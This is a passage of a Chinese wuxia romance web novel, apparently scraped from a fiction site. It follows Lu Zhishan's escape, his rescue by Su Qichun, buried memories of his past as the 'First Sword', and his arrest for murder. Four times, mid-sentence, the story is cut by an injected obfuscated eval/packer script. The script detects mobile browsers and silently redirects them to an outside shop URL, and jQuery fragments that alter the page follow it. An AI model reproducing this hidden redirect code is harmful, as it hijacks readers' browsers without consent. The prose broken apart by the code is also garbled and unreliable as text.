陆之山鼻尖嗅到一股熟悉的味道,他下意识地闭气,又过了会儿,轿子又动起来,走了几百步后,黑衣人掀开轿帘,将他拉下来。 他透过眼缝去看,只见绿水环绕,杨柳拂风,粉花嫩叶,青石砖瓦,目光所至之处,皆是一派好风光,像是居住在山间清泉之旁。 一个头戴冠帽,一身绿意的男子坐于小亭内,一手执子,兀自对着满盘棋局。 黑衣人站在他面前,弯身拱手,道:“小公子,人带来了。” 小公子低着的眼尾微抬,轻轻挥手,黑衣人见状立马退下。 他慢悠悠地落下一枚白子,大笑一声:“好棋好棋!” 陆之山半闭着眼,装作未醒的样子打量四周,不远处忽地传来一个清淡的声音,“行了,别装了,知道你醒着。” 小公子不知何时已来到他面前,一道阴影遮住他半边脸,陆之山嘴角轻笑,缓缓睁开眼,正对着小公子清秀的眉眼。 小公子盯着他这张脸仔仔细细地看,边看边说:“像,真像。” 陆之山警惕地看着他。 那小公子皱起眉,绕着他来来回回看了一圈,又道:“不像,一点儿都不像。” 费尽力气将他带到这里,却什么也不干,只说些什么,像,不像?陆之山略一沉吟,笑道:“像又怎么样?” 小公子哈哈一笑,手中折扇“啪”地一声展开,“若是像,我就要将你带回第一楼,让楼主杀了你剐了你。” 陆之山心下冷寒,小公子眯着眼打量他,自顾自地说:“不过若是不像,你这双眼可保不了了,你这双眼见了我,还能留着?” 像也是死不像也是死,这第一楼的人当真狠毒。陆之山面上不动,手心调动内力,观察着小公子的动静。 谁知小公子一把按住他的手,偷笑道:“你的功夫浅,就别拿出来丢人现眼了,哎……这么弱的内力,难道你真的不是他?” “不对不对!”小公子摇头,“你说说,你是怎么知道那饮冰剑是假的?”这世上,除了天下第一剑,没人知道真的饮冰剑是什么样?连他也不知道,更何况这个一文不名的人。 陆之山想了想,道:“这还不简单?第一剑杀人无数,这真的饮冰剑上必然有不少使用的痕迹,可那把假剑,没有,倒像是刚锻造成的。” 小公子一愣,露出吃惊的笑,“你倒是个聪明的,看来,你真的不是。” 小公子长叹口气,神色落寞,“真可惜,半年了,我还是没找到他。” 陆之山对什么像,不像毫不在意,也对他要找什么人没有想法,他只想快些离开这个鬼地方,他举目四望,一汪绿湖横亘在院子中间,四周有树有草,目之所及,一片开阔,唯有一座小亭,就连屋子也见不到一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13425986|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 分。 这地方没有出路,没有门没有窗,陆之山想逃出去都不知道从哪离开。 那小公子似乎被这个消息打击,嘴里一直念叨“他到底在哪?” 陆之山一只手被他按着,另一只手捏紧几根银针,趁着小公子愣神之际挥出。 可那小公子竟像后背长眼一般,手中纸扇一挡,飞出去的银针便已掉落一半,陆之山再次挥出银针,小公子看清他的动作,收起折扇,厉声问:“你怎么会这一招?” 这一招?陆之山脑中滑过一幅画面,毕胜阁中,那些黑衣人用的这招不就跟他用的一样么? “会这一招又如何?”陆之山边打边问。 “这一招是第一楼的绝技,一般人可不会,你到底是谁?”小公子纵身一跃,跳到陆之山身后,伸手去点陆之山身上的几处大穴。 陆之山功力只剩一成,哪里是他的对手,他不过调动内力几息的时间,经脉便已寸寸疼痛,几要裂开。 小公子越攻越急,陆之山被打得连连后退,一直退到湖边,眼见小公子拳风正急,陆之山抵挡艰难,慌乱间捡起身旁树枝,不自觉地挥动出几招剑招。 那小公子眸光紧皱,手上动作也跟着慢了许多,“你……你怎么会?” “会什么?”陆之山将树枝换到左手中,在小公子脖颈前一挥,小公子料想不到他有此一招,是以没有防备,右边胳膊上的袖子被划破一道。 若是陆之山功力尚在,这一招便不是划破衣袖这么简单,可如今他只能做到这样,小公子虽被打退,但功力始终高他许多,他硬碰硬毫无胜算。 “会这一招。”小公子又道。 陆之山眸心一动,道:“自然是有人教我,而且那人武功深不可测,除了我,没人知道他在哪。” 小公子发疯一般,拳风阵阵,“快说,他在哪?” 陆之山再次被逼到湖边,眼见着小公子在几招之内便要拿下他,他回望水面,心一狠,扑通一声跳进去,大喊道:“你若伤了我,便再也不知道他在哪了!” 小公子站在湖边,气急败坏,“你给我出来!你不想活了么?那水里可是有……” 后半段话,陆之山没有听到,他深潜入水底,一头扎进无边黑暗中。 湖边,小公子擦擦手,身旁的黑衣人道:“小公子,这该怎么办?” 小公子冷哼一声,“其他地方,可有第一剑的下落。” 黑衣人摇头,“没有,第一剑失踪的荒山上,也找遍了,没有他的下落,倒是假装第一剑的人越来越多了。” “是吗?”小公子踱步回到凉亭里,低头看着一盘棋局,在左上角轻轻落子,“假装第一剑?他们也配?都给我杀了。” “是。” “还有。”小公子轻捏手中的棋子,棋子瞬间被捏成一片粉末,“那湖里面的人不能杀,看好湖底的鳄鱼,别让它们要了他的命!” “是!”黑衣人眨眼间消失。 人皆走尽,连天光都暗下来,小公子展开一幅卷轴,上面画着个手握长剑的少年的背影,他盯着那画哭了笑,笑了哭,自顾自地道:“第一剑啊第一剑,你好容易摆脱了爹的控制,可一定得跑远点儿,不然的话,爹他老人家一定会剥了你的皮,抽了你的筋……” 54. 我不是 54我不是 陆之山从湖底爬出来时已经是深夜,寥寥的几颗星子挂在深蓝色的天幕上,他身上沾满了水与血,几乎要被撕扯殆尽的衣衫紧紧地贴在身上,原本雪白的衣衫上尽是触目的红色,露在衣衫外的皮肤上也布满了道道伤痕。 他在湖底与那群鳄鱼缠斗了整整一个时辰,精力和意识都被消磨一空,他拼尽全力才游出那片湖水。 月明星稀,他撑着虚弱的身子往外看,模糊的眸中浮过枯败的落叶,灰黄的泥土,凄楚的鸟叫。 很恍惚的一瞬,他仿佛回到很久之前,他一身的伤,手中的剑尖滴答滴答地往下落着血水,他倒在一个人面前,艰难地睁开眼,只看到他绣金的靴头。 那人缓缓俯下身,如山般的威压向他袭来,他心脏缩成一团,熟悉的恐惧排山倒海地淹没他,吞噬他。 他听见那人说:“这是你打败的第一百个人,从此以后,你就是第一剑,天下第一剑。” 密密麻麻的疼痛从四肢传递到胸口,再一点点渗入到他的心头,这样的痛他早已经经历千次万次,可这一次,却多了点儿别的。 他想不到他成为天下第一剑的那一天,是一个小女孩失去父亲的一天,小女孩哭花了脸,举着一把木剑,将剑尖戳进他的心头,大哭道:“你为什么要杀我爹爹?” “轰隆——”一阵雨瓢泼地落下,这样的雨在他心间不知下了多少次,冰凉的雨水砸在陆之山的心头,他的心空荡荡,冷冰冰,像是失去了凭靠,不可抑制地跌落,渐渐的,一阵麻木与混乱侵入他的脑,剥夺,盘削。 而小女孩的话始终萦绕在他周围,质问他,“为什么要杀了她爹爹?” 为什么? …… “轰——” 雷声大得惊人,苏祈春木然地盯着帐顶的花纹,心里像被蜘网裹住,纠缠,让她透不过气,静不下心。 她掀开被褥,赤脚踩在地上,走到窗前,一双黑眸望着窗外劈里啪啦的雨。 湛江县一到春夏之交便会时常下雨,有时候这雨会下上几个月,甚至会刮起大风,那风连大树都可以连根拔起。 茯苓从窗前走过,扭脸瞧见站着的苏祈春,打着哈欠道:“女郎,你怎么还不休息,这都什么时辰了?” 苏祈春的眉眼间沾了几丝困倦,眼尾低低地垂下来,眼睑下也带着些青黑,她摇摇头,喃喃地说:“山哥哥他……他还没回来么?” 方才临睡时,她听到月雪阁那边寻山哥哥的声音。 茯苓一听见陆之山的名字就心烦,她向来不觉得陆之山是个好人,于是说:“陆公子还跟朱家女郎在一起呢,说不定今夜就不回来了!女郎,你就不要瞎操心了,陆公子和朱家女郎郎才女貌,一时痴缠,难分难舍也是有的。” 这话,苏祈春怎么听怎么不得劲儿,她有些厌烦,放下窗子,闷闷的声音透过窗子传出去,“行了行了,知道了。” 雨越下越大,苏祈春裹紧被子,在床上翻来覆去睡不着,心里始终安宁不下。一直到后半夜,雨还是未停,苏祈春翻起身,咬咬下唇,从衣柜里翻出一身束身的衣裳,蹑手蹑脚地跑出去。 她撑着伞,在雨地里狂奔,雨天路滑,她在路上摔了好几个跟头儿,辗转几条街道,才找到朱府,她收起伞,用力地敲门。 朱家家仆开了门,苏祈春这才知道,陆之山根本没来朱府,朱家女郎也早就到了府里,再没去任何地方。 苏祈春心头隐隐浮出不好的预感,她连声谢也没来得及说,拔腿就冲向雨幕里。 耳边的雨声鞭炮一般地响,完全地,彻底地将苏祈春笼罩在其中,苏祈春跑得鞋子都掉了,她回到和陆之山分别的地方,大声地喊,可微小的声音却被漫天的雨掩埋,吞噬。 下雨时的天由深蓝变为乌黑,连着清冷的月也被这黑遮蔽,湛江县陷入了完全的漆黑,在这黑里,最亮的就是苏祈春的眼睛,她顺着陆之山离开的那条路一直走,走到一处菜场,黑暗里,她依稀可见摆在街道两旁的箩筐,掉落的菜叶。 她来回大喊,却听不到一点回声。 不知谁家的狗突然狂吠,苏祈春浑身一激灵,吓得手中的伞也跌落在地,伞尖扎在一汪雨水里,溅出凌乱的雨花。 她站在原地,瞧着那破烂的伞身,鼻子酸酸的,过了好久才缓过神来。没了伞的遮挡,雨水落在她身上,从她的发间缓缓滑落,一直落到身上,再慢慢地沁入她的血肉、骨缝。 她冷得浑身打颤,不知方向地往前跑,边跑边喊,“山哥哥——山哥哥——” 也不知道她喊了多久,跑了多久,她只知道,她看见山哥哥时,山哥哥浑身是血,奄奄一息,快要死了。 她扶起陆之山,将他的头搁在自己的腿上,伸开胳膊抱着他,妄图用自己的体温去暖他。 “山哥哥……”她摸了摸陆之山的脉搏,这次她终于摸出来,原来陆之山真的病得很重,他的心脉很微弱,微弱得就像一道快要消逝的青烟,风一吹就没了。 “山哥哥……”她捧着陆之山的脸,拍打着他,“山哥哥,你醒一醒,不要睡……” 小女郎的哭声在这彻夜的雨里也显得震耳欲聋,陆之山微弱的意识抓取着周遭的一切,他听见雨声里夹杂着断断续续的哭声,他的脸被人拍打着,有个人一直在告诉他,叫他不要睡。 雨水啪嗒啪嗒砸在他的眼皮上,他用力地伸出手,颤抖着抓住苏祈春的手,声音轻得要被雨水打灭,“别打了……” 苏祈春顿住,啜泣一声,扑到陆之山怀里,滚烫的泪水混着雨水浸湿他的胸膛,“山哥哥,你不能死……” 陆之山被压得喘不过气,心却暖暖的,他轻轻拍着苏祈春的背,声音很轻很轻,“放心吧,不会死的。” 这一夜,苏祈春也不知道自己哪来的力气,将陆之山拉到树下避雨,又熬了一夜,才等到苏府的马车。 在马车里,苏祈春给陆之山包扎好伤口,一点点给他喂水。路过怀仁堂时,清晨的风吹起车帘,苏祈春下意识地往外看。 等在怀仁堂门口的病人依旧不少,而怀仁堂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434643|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的另一边,不知何时也开起一家药铺,牌匾上正写着:济世馆。 一个矮小男人身着长袍站在门口,被一众人围着,苏祈春只看了一眼,便匆匆移过目光。 陆之山疼得皱眉呓语,苏祈春放下手中的茶碗,贴着陆之山的耳边问:“山哥哥?” 许是听到声音,陆之山的眼皮睁开又阖上,他的嘴一张一合,苏祈春贴近了才听见他说的话,“我不是……我……不是……” “你不是什么?”苏祈春揉揉陆之山的眉尖,陆之山忽地用了很大力气抓住她的手,晕了过去。 苏祈春将陆之山送到月雪阁,这一路上,陆之山虽然昏迷,却还紧紧地抓着她的手,怎么也不松开。 苏泽兰冷冷地扫了陆之山一眼,面无表情地离开,自从他们回到苏家,苏泽兰就是这个样子了,见谁都不理。 陆重瞧见陆之山身受重伤的样子,也没半分心疼与可怜,反而脸上露出些厌烦的神色,“纤纤,这是怎么回事?” 苏祈春盯着陆之山发白的嘴唇,疲倦的眼皮垂下,“我见到山哥哥的时候,他就已经是这样了……” 陆重眉心紧皱,转眼又瞧见陆之山抓着苏祈春的手,脸色更加沉下去,他默不作声地上前,抓起陆之山的手。 苏祈春想要阻止,陆重却打断她的话,掰着陆之山的手指,将他的一根根手指掰开,苏祈春甚至能听到骨节断裂的声音。 “你不要……”苏祈春伸手去推陆重的手。 陆重挥手推开,一用力,将陆之山的手从苏祈春手中拨开,他这才心满意足地舒口气,“好了,纤纤,你回去吧,这一夜你辛苦了,这里有我就好。” 苏祈春总觉得哪里不对,可他们终究是陆之山的父母,想必也没什么的,她最后看了一眼陆之山后离去。 等到苏祈春身影彻底消失,陆重终于露出阴贽的目光,冷冷地扫视陆之山,一直到陆之山醒来。 陆之山睁开眼,略一动身子,深入骨髓的疼痛便席卷而来,深深浅浅地噬咬着他的血肉,他偏脸去看,只看到一个冷漠的背影。 “你醒了?”陆重端过一碗药,放在他床头。 陆之山喘息不止,胸口不住地上下起伏,他气息奄奄,话不成句,“我……我有件事要问你……” 陆之山颤抖地抓住陆重的胳膊,“我……你知不知道……我是谁?” 陆重淡淡地吐出几个字,“你是谁?” 一团火在陆重胸内冲撞,他当初救下他,只是因为苏泽兰,他不想让苏泽兰因为没了山儿而伤心,他可以忍受所有事,唯独不能是苏泽兰难受。 但陆之山上次失踪后,苏泽兰像变了一个人,一直说什么她知道,她早就见不到山儿了……她的癔症也越来越严重。 如果不是陆之山随意妄为,不告而别,苏泽兰不会这样。 他冷笑一声,将碗里的药泼在地上,“你?” 他起身欲走,快到门口时停下,仰头思索,“大概是个杀人不眨眼的魔头,我见到你时,你满手的血……” 55. 小女孩 55小女孩 陆重顿了顿,回头指着陆之山,像在说一件极平常的事,“那天的雨就像昨夜那样,没完没了,荒山上到处都是死人,只有你一个人活下来,被我救了,要说,你也真是命大……” 发白的骨节紧攥着床沿,陆之山浑身发抖,鲜红的血丝如蛛网一般蔓延在他白色的眼球上,密密麻麻,无穷无尽。 随着陆重的话,陆之山脑海中闪过倾盆的大雨,遍地的尸体,少年持剑的手,以及混在雨水里的血,那血那样的红而耀眼,就算是在回忆里,陆之山也不敢直视。 “你想起来了?”陆重不知何时走到他身边,抓住他乱动的手,“你想起来了什么?” 疼痛丝丝缕缕,慢慢爬升,缠绕,陆之山苍白的额上布满汗水,他咬着牙,不敢去看那一幕幕。 闭上眼睛,唇齿间漫出一阵血腥味儿,他苦笑着,无力摇头,“我……” 他想到死了父亲的小女孩刺向他的那一剑,小女孩用尽了全身的力气,将剑戳进他的身体里,可就算是这样,他也照样毫发无损,小女孩又从刚去世的父亲的手里拿出长剑,她甚至都拿不动,但她还是毫不犹豫地刺向他。 “你杀了我爹爹,你去死吧!” 小女孩稚嫩的话语在脑海里清晰又响亮,他突然很想将一切再忘掉,他木然望向帷帐上繁复的花纹,喃喃地说:“没有……什么……都没想到。” 陆重手上力道减小,双肩垂下,松一口气。 苏泽兰癔症加重后,月雪阁里的人都尽力伺候她去了,再加上陆之山眼睛和哑症都已痊愈,便也不怎么管他。 陆之山一直躺到夜里,他脑子昏昏沉沉的,时而清醒,时而迷糊,不知过了多久,耳边断断续续地传来苏祈春的声音。 “山哥哥,你到底是怎么弄成这样的?是遇到坏人了么?那些坏人长什么样,你跟纤纤说,纤纤一定帮你打他们!” 苏祈春思索了会儿,又说:“山哥哥,我告诉你,朱家姐姐要来看你,但是被爹爹拦住了,我也不知道为什么,总感觉爹爹最近怪怪的,我一说起你他就不开心。” “不过呢,还是有好事情,我跟你讲,崔娘娘真的是个神通广大的人,她近来得了一副灵药,给娘亲用了后,娘亲果然气色大好,这几日,都能下地走路了,山哥哥,你说这消息是不是特令人开心?” 陆之山像被什么东西压着,动也动不了,话更加说不出。 苏祈春停了会儿,声音忽然低下来,“山哥哥,你也快些好起来吧,等你好起来,一家人在一起,一定是这世上最好不过的事,纤纤最希望的,就是一家人平平安安地在一起。” 陆之山盖在被子里的手指缩了缩。 一个浑厚的男声传来,“纤纤,你怎么在这儿?” “爹爹,我在……” 苏知辛打断苏祈春的话,“别说了,出事儿了,官府的人来了,说山儿打死了人。” “什么?”苏祈春言语里带着震惊,陆之山躺在床上也觉得胸口一震,一边身子颤了颤。 苏老夫人,苏三爷,陆重等人都在正堂里,规规矩矩地坐着,身着皂衣的衙役将事情原委说了一遍,接着厉声道:“快将陆之山交出来!” 苏老夫人腿上一软,几乎要从圈椅上跌下来,好在苏知辛扶住她,她才不至于在人前失态。 苏老夫人强压下心中的震动,言语中带些讨好,“这位官爷,是不是弄错了?我家山儿自小温顺听话,怎么会无缘无故打死人呢?何况是一个老人?” 那衙役抽出腰间的刀,怒瞪双目,“你敢质疑县令大人的裁决?不要命了么!” 苏老夫人大惊失色,双腿不受控地跪下来,嘴里直呼不敢,苏知辛连忙扶起她,吩咐人将苏老夫人送下去,又取出一袋银子,凑近了塞到那衙役的手里。 “求您通融通融,山儿他受了伤,还未醒,多少等他醒了再押他回县衙。” 那衙役掂了掂袋子的重量,不动声色地收起来,嚷嚷着,“赶快赶快,再过一个时辰,就算他是死了,也要带回县衙!” 苏家上下个个心急如焚,在湛江县,苏家是有名的守礼人家,哪里见过这样的事? 可越是不好的事情,越是传得快传得远,茯苓老早就听到风声,一见到苏祈春就和她说:“女郎,听说了吗?陆公子杀了人,要被抓走了!” 茯苓脸上挂着掩不住的笑意。 苏祈春却笑不出来,不明不白地怎么会说陆之山杀了人,昨夜她见到陆之山时,陆之山已经伤成那种样子,哪还有力气杀人? “茯苓,你说山哥哥会不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13450466|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会有事呀?”苏祈春放心不下。 茯苓巴不得陆之山有事,反正在她心里,陆之山就是个坏人,听到苏祈春这般担忧的语气,她反而更气愤,“女郎,我看你不要被那个人给骗了,我看他不是好人,说不定他真的杀了人。” 苏祈春心烦意乱,别过脸去,不愿听茯苓的话,茯苓见她这样,气不打一处来,添油加醋道:“女郎,你且看着吧,到了县衙,那般刑罚下,是人是鬼都能给他揪出来!” 茯苓满满的志在必得的样子,完全没注意到苏祈春攥得发白的手。 苏祈春心跳得越来越慌,来不及听茯苓说完话,没命地往月雪阁跑,迷迷糊糊中,陆之山听到声音,脸往外侧了侧,苏祈春蹲在床前,大声摇他,叫他,“山哥哥,你快醒醒!山哥哥!” 陆之山挣扎着要睁开眼,可是却怎么也睁不开,突然,一盆冰冷的水泼到他脸上,他心口一慌,骤然醒来,望着眼前的纱帐,胸口不住起伏。 “山哥哥,你快走,官府的人要来抓你了,你再不走的话就来不及了。”苏祈春拉着陆之山下床,两人刚走到门口,就被苏知辛拦住。 “纤纤!你在干什么?”苏知辛拉开两人。 苏祈春道:“爹爹,山哥哥不可能杀害无辜,这里面一定有误会!” “是不是误会等到了县衙一问便知,你把他放走岂不是坐实了他心虚?”苏知辛眼风扫过二人。 苏祈春不说话,心里忐忑,害怕,县衙里的刑具骇人,可以将人的手指生生夹断,有多少人因为受不了刑罚拷打而被迫认罪。 她相信陆之山不会伤害无辜的人,他答应过她的,她相信他。 “没有!”苏祈春擦去陆之山嘴角渗出的血,拍拍他的背,“山哥哥,我相信你,你一定不会杀无辜的人,对不对?” 很小很轻的痛在心里最柔软的地方扎根,曲折地,缓缓地发芽,陆之山胸口一滞,吐出一口鲜血,所有的话被淹没在这血里。 “山儿!”苏知辛也看得难受,四指滑过陆之山的脉搏,皱了皱眉,“你……你暂且忍耐些,只要你身子正,县令大人一定不会冤枉你的。” 陆之山虚弱地点点头,被苏知辛扶着走,走到月雪阁门外时,陆之山看见两双鞋,那是陆重和苏泽兰,他们路过他,没有说什么。 56. 为什么 56为什么 陆之山被关进大牢里就再也没有音信,一连半月,苏家不知使了多少法子,但依旧一无所获。 因着这事儿,苏家上下都食不知味,尤其是苏老夫人和苏祈春,苏老夫人本就可怜陆之山这孩子生来多灾,这猛然又被关进大牢,更加心疼。 苏祈春更是如此,整日忧心陆之山在牢里的安危,连着几日都茶饭不思。 苏知辛对此事倒算上心,多方托人通融,陆重和苏泽兰则是半点不理会。 眼见着苏知辛失望而归,苏老夫人唉声叹气,原本矍铄的精神肉眼可见地颓唐许多,一旁侍奉的韩嬷嬷跟着苏老夫人几十年了,少见她这般模样,也不顾苏祈春这个小辈在场,直言不讳起来。 “老夫人,这陆公子总被关在大牢里可也不是办法,听说那大牢潮湿难忍,还有各种臭虫跳蚤,这也就算了,进了牢,少不得一顿酷刑,我看,真得想想办法把陆公子救出来。”韩嬷嬷道。 苏老夫人更是一声长叹,她如何不知其中的道理,但眼下该想的法子都已经想了,能做的也都已经做了,现如今,实在是到了山穷水尽的地步。 韩嬷嬷听着苏老夫人叹气的样子就跟着难受,便什么也不顾地说:“老夫人,这县令县令,就是一县之主,这湛江县想办个什么事儿,不得李县令点头?就连陆公子这件事也不例外,若是有了李县令点头,那不万事大吉啦?” 韩嬷嬷这话似在暗示,可实在意味不明,别说苏祈春,就连苏老夫人听完也是一头雾水。 苏祈春望向韩嬷嬷,眼神中犹带着渴求和疑惑,“韩嬷嬷,不知你说的是什么意思?” 韩嬷嬷见两人都不明白,索性将话挑开,“泽兰!兰儿!” 这话一出,苏老夫人顿时恍然大悟,那些前尘往事也随之而来。 原来当年苏泽兰未出嫁时,就被李县令看上,那是李县令还不是李县令,只是一个小小秀才,后来顺利入仕,拒绝了京师的官位,跑到湛江县,做了一个小小的县令。 那时苏泽兰已被陆重迷了心窍,和李县令的缘分自然也就断了。韩嬷嬷突然提起这件事,莫非是想让苏泽兰去求他,这倒是一个法子,但两人都已这把年纪,各自成婚已久,谁还会顾念年少时的情谊?苏老夫人兀自摇头不止。 “你想到哪里去了?这都多少年过去了,早就物是人非……”想想这些年发生的许多事,苏老夫人的话语里像沾了湿湿的水,不由得变得沉重。 苏祈春在苏老夫人面前还是个小孩,但与陆之山经历了这许多事情,心里也生出相同的感觉,也有些懂得什么是“物是人非”,就比如前些日子,她还在生陆之山的气,怪他忘恩负妹,今日陆之山就被关进了大牢。 “老夫人,话不能这么说,我看啊,县令大人对泽兰还是有心的,不然的话,他也不会找一个和泽兰那么像的夫人!”县令夫人少有的几次露面,苏老夫人和韩嬷嬷都见到过,确实是像。 苏老夫人有些拿不准了,陆重是个要面子的性子,八成不会答允,但转念一想,事到如今只能死马当活马医,这般想罢,她带着苏祈春和韩嬷嬷就来到了月雪阁。 月雪阁大门敞开,丫鬟和仆人都被遣下去了,只剩陆重一人坐在屋檐下,心安理得地晒着太阳。 苏祈春瞧见他惬意的样子,抬头望一眼天,果见晴空万里,天光正好,不知不觉,冬天原来已经过去很久了。 跳跃着的日光在苏祈春的眉梢眼角盘旋不走,苏祈春却毫无察觉,扭头目光落在青松树下。 几张石椅,一张石桌,是苏祈春最熟悉的东西。 事态紧急,苏老夫人也没和陆重多说,直接进屋,同苏泽兰说起此事。 若是从前,苏泽兰也许会立马应允,但自从陆之山随着苏祈春一起离家后,苏泽兰就变了一个人一般,对陆之山毫不理会。 苏泽兰怔怔地望向窗外,愈发明亮的日光照得她眯起了眼,她伸手去挡,眼角似乎瞥见了什么,扭头去看,原来是陆重,她有些凄凉地笑起来。 陆重进来后,冷如刀刃的目光从众人脸上扫过,众人皆有些心虚地低下头,陆重举起身旁的茶碗,发了狠地摔下去,白瓷在地上爆裂炸开,苏老夫人惊呼一声,苏祈春更是吓得脸都白了。 “好好好,你们真是好啊!”陆重指着苏老夫人三人,一字一句地说,“你们一个是母亲,一个是侄女,竟能说出这种话?当兰儿是什么?她已经嫁了人,她已经是我的妻了,你们眼里还有我吗?!” 陆重说到此处,整个人癫狂起来,拿起身边的一应事物就扔就砸,那架势俨然要将这个家砸净砸光不可。 苏老夫人自知理亏,也不敢多说什么。 苏祈春心里隐隐觉得这样不对,可是她一想到山哥哥在大牢里可怜的样子,她就不忍心,她就什么都不要管了,就算做错事也没什么。 她站起身,冲着陆重大喊:“那山哥哥呢?!” 陆重砸在地上的花瓶碎片溅到苏祈春眼前,苏老夫人忙拉了一把,苏祈春面色不改,盯着陆重道:“那山哥哥呢?大牢里凶险无比,山哥哥被人打得浑身是伤,都快要死了,他怎么受的住那样的折磨?陆姑父,我求你,你救救山哥哥好不好?” “所以你们就让兰儿去求那个什么,曾对她有情的县令?你们就不怕兰儿有什么危险么?你们就不怕兰儿难堪么?”陆重眼睛通红,一字字道:“你们为了山儿好过,就非要兰儿难受么?!亏你们说的出这种话?真叫人恶心。” 苏祈春这个年岁,本就不懂得面子,大局,而她此时满心满眼也被陆之山的安危所笼罩,根本顾不上别的。 “可是山哥哥他还有伤在身,他真的不能再受伤了!”苏祈春只怕陆之山再受伤,“陆姑父,你就帮帮山哥哥好不好?求求你了,让二姑姑去试一试,好吗?他是你的儿子呀!” “他根本不是!”陆重情急之下,口不择言,话一出口就后悔了,但见苏泽兰听到后,痴痴地望着他,他心中一紧,连忙改口,“他武功那么高强,怎么可能受不住?我看还是等县令大人裁决的好。” 陆重的话说完,苏祈春就知道陆重是断不肯同意苏泽兰去劝县令大人,她的山哥哥还要待在牢里,继续受苦,她心里一阵酸,泪珠顺着脸颊滚下去,她声音哽咽,大声道:“你们不能这么对山哥哥!” 她说完,也不等他们反应,踩着满地的陶瓷碎片就跑了出去,一直到了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495711|132978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 自己的闺房,才发现脚底都是血。 她伏在枕头上又哭了一阵,连着床褥都被打湿。茯苓见她不对劲,端了些糯米糕给她,她却看也不看一眼。 后来,泪水干了,她又坐在杨夫人床榻前,一言不发。 杨夫人近些日子身子好了许多,也能多跟苏祈春多说几句话,她见苏祈春心情低落,又想到近日苏知辛为了陆之山连日奔波,心里猜出了几分,她握着苏祈春的手,温声道:“纤纤,你山哥哥的案子怎么样了?” 苏祈春的心很疼很疼,在娘亲面前,她也不愿展现自己最脆弱的那一面,可话一出口,泪便落下,“不好。很不好。” 杨夫人心疼地拭去她脸颊的泪,她委屈地说:“为什么陆姑父不让二姑姑去求县令大人,县令大人心里一直有二姑姑的,二姑姑说的话,他一定会听,那样的话,山哥哥就可以不用被关在大牢里,也不用受苦了。” “娘!”苏祈春抱住杨夫人,“山哥哥他病得很重,真的病得很重,我好后悔,后悔没听老爷爷的话,山哥哥治不好眼睛又有什么?只要他平安,我愿意一直陪着他,照顾他,就像陪着娘,照顾娘一样。” “为什么?为什么他不救山哥哥?”苏祈春越想越不能理解,为什么陆重不能委屈一下自己?明明救山哥哥才是最重要的事。 杨夫人抚摸着苏祈春的发,感受着苏祈春的泪一点点沁入胸前,湿湿的,热热的,她想到从前苏知辛为了娶她,与苏老夫人作对的样子。 苏老夫人也是如此,一直在问为什么?天下有那么多的女子为什么非要是她这个病秧子?忍一忍自己的情爱又难道会活不成么? 苏知辛当时回答得不容置疑,就是非要她,就是会活不成。 此时的陆重与苏祈春不就同他们那时一样么? 杨夫人想到这里,泪也跟着湿了,她缓缓道:“纤纤,娘亲问你,若有人让你的山哥哥去做类似的事情,你愿意么?” 苏祈春想也没想,立即回道:“当然不愿意!” 她才不要她的山哥哥做自己不愿意的事情,也不要他那么卑微地去求什么“老相好”。 “那就是了,你都不愿意,何况陆重和泽兰多年的夫妻?”杨夫人道。 苏祈春顿住,她想想,若是有人要求山哥哥这么做,她一定很生气,说不准还会变成小老虎咬他们一口,陆重今日如此,也在情理之内。 可是,那是山哥哥,山哥哥怎么办? 她抽抽嗒嗒地道:“那山哥哥呢?山哥哥就不管了么?”山哥哥的安危才是更重要的。 “何况山哥哥本来也是他们的孩子!”苏祈春又道。 杨夫人一时语塞,“可怜天下父母心”,杨夫人为了苏祈春是什么事情都愿意做的,哪怕是丢了性命,这陆重夫妇两个倒完全不是那么回事,这当真让人觉得奇怪。 “纤纤!”杨夫人又道,“也许在他们心中,夫妻才是最重要的,孩子反而不那么重要。” 这话说得杨夫人自己都心虚,但苏祈春听了后,却愣怔半天,自顾自地走到院里,又回到屋子里,等到天黑,银光如水之时,苏祈春忽地喃喃自语,“是啊,每个人心里最重要的事本就不一样……” 57. 